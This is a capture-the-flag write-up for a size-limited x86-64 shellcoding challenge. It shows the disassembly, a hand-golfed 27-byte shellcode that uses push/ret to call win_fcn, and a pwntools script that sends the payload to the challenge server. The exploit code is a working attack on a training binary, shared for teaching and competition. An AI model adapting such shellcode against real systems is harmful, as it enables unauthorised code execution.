pwn4_call_fcn_small
pwn4_call_fcn_small
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: mmap_rwx_shellcode, push_imm32_ret_call, register_argument_setup, shellcode_golf
Summary
Task: 64-bit NON-PIE shellcoding challenge that mmaps an RWX page and calls a tiny 27-byte attacker buffer; goal is to call win_fcn with the right register arguments. Solution: golf the shellcode by setting the five required argument registers and using push imm32; ret to jump to win_fcn at 0x4006b0, landing exactly at 27 bytes.
pwn4_call_fcn_small — pwn_spbctf
Description
Just call win_fcn and make it print flag for you. oh, and now we limited size of your shellcode!
64-bit x86-64 ELF, NON-PIE (base 0x400000), NX enabled, no stack canary. This is the
shellcode-size-limited variant of call_fcn: main reads only 27 bytes of
shellcode (fread with nmemb = 0x1b), copies them into an RWX mmap page and
calls the buffer. The goal is to invoke win_fcn (0x4006b0) so it prints the
flag. The whole challenge is fitting a working call into the 27-byte budget.
Analysis
main @ 0x400770
mmap(NULL, 0x1000, PROT_READ|WRITE|EXEC=0x7, MAP_PRIVATE|ANON=0x22, -1, 0) ; RWX page
fread(buf, size=1, nmemb=0x1b, stdin) ; <-- ONLY 27 BYTES of shellcode
memcpy(rwx, buf, 0x400)
call rwx ; jump into our shellcode
The 0x1b = 27 byte read in nmemb is the only difference from the larger
call_fcn challenge (which read 0x400). fread blocks until EOF, so the
exploit must close the send side of the socket after delivering the bytes.
win_fcn @ 0x4006b0 — this is the ARGUMENT-checking variant
Disassembly shows win_fcn is not the global-gate variant. It validates the
calling convention register arguments and uses the first argument as the XOR key
for the flag decode loop:
cmp edi, 0xcafebabe ; arg1 (edi) must be the magic value — also the XOR key
... XOR-decode 13 dwords at 0x601050 using edi as key ...
cmp esi, 0x80 ; arg2 (esi) == 0x80
cmp qword [rbp-0x18], -1 ; arg5 (r8) == -1
cmp edx, 0x7f ; arg3 (edx) == 0x7f
cmp ecx, 0x0 ; arg4 (ecx) == 0
-> puts(0x601050) ; prints the decoded flag
So to print the flag the shellcode must set:
| Register | Value |
|---|---|
edi | 0xcafebabe |
esi | 0x80 |
edx | 0x7f |
ecx | 0 |
r8 | -1 |
then transfer control to 0x4006b0.
Solution
Byte budget — the actual challenge
A naive jump to win_fcn via mov rax, 0x4006b0; jmp rax costs 12 bytes just
for the control transfer, which would blow the 27-byte budget after setting five
registers. The golf trick is push imm32; ret: pushing the absolute target
and returning into it is only 6 bytes for an absolute call in a NON-PIE binary.
asm read-only • copy allowedmov edi, 0xcafebabe ; bf be ba fe ca (5) arg1 / XOR key mov esi, 0x80 ; be 80 00 00 00 (5) arg2 mov edx, 0x7f ; ba 7f 00 00 00 (5) arg3 xor ecx, ecx ; 31 c9 (2) arg4 = 0 or r8, -1 ; 49 83 c8 ff (4) arg5 = -1 push 0x4006b0 ; 68 b0 06 40 00 (5) win_fcn target ret ; c3 (1) -> jumps to win_fcn
Total = 27 bytes, exactly the limit.
Key golf tricks:
xor ecx, ecx(2 B) instead ofmov ecx, 0(5 B).or r8, -1(4 B) instead ofmov r8, -1(49 c7 c0 ..., 7 B) to getr8 = 0xffffffffffffffff.push imm32; ret(6 B) instead ofmov reg, addr; jmp reg(12 B) — possible only because the binary is NON-PIE so0x4006b0fits in a 32-bit immediate.
Delivery
fread waits for EOF, so after sending the 27-byte shellcode we shutdown('send')
to signal EOF, then read the puts() flag output.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time HOST, PORT = '109.233.56.90', 11650 # win_fcn @0x4006b0 (argument-checking variant) requires: # edi==0xcafebabe, esi==0x80, edx==0x7f, ecx==0, r8==-1 # mov edi,0xcafebabe bf be ba fe ca # mov esi,0x80 be 80 00 00 00 # mov edx,0x7f ba 7f 00 00 00 # xor ecx,ecx 31 c9 # or r8,-1 49 83 c8 ff # push 0x4006b0 68 b0 06 40 00 # ret c3 # = 27 bytes (fits the 0x1b fread limit exactly) sc = bytes.fromhex('bfbebafecabe80000000ba7f00000031c94983c8ff68b0064000c3') assert len(sc) <= 27, len(sc) log.info("shellcode len = %d", len(sc)) io = remote(HOST, PORT) io.send(sc) io.shutdown('send') # fread needs EOF time.sleep(0.6) data = io.recvall(timeout=4) print(data.decode(errors='replace')) io.close()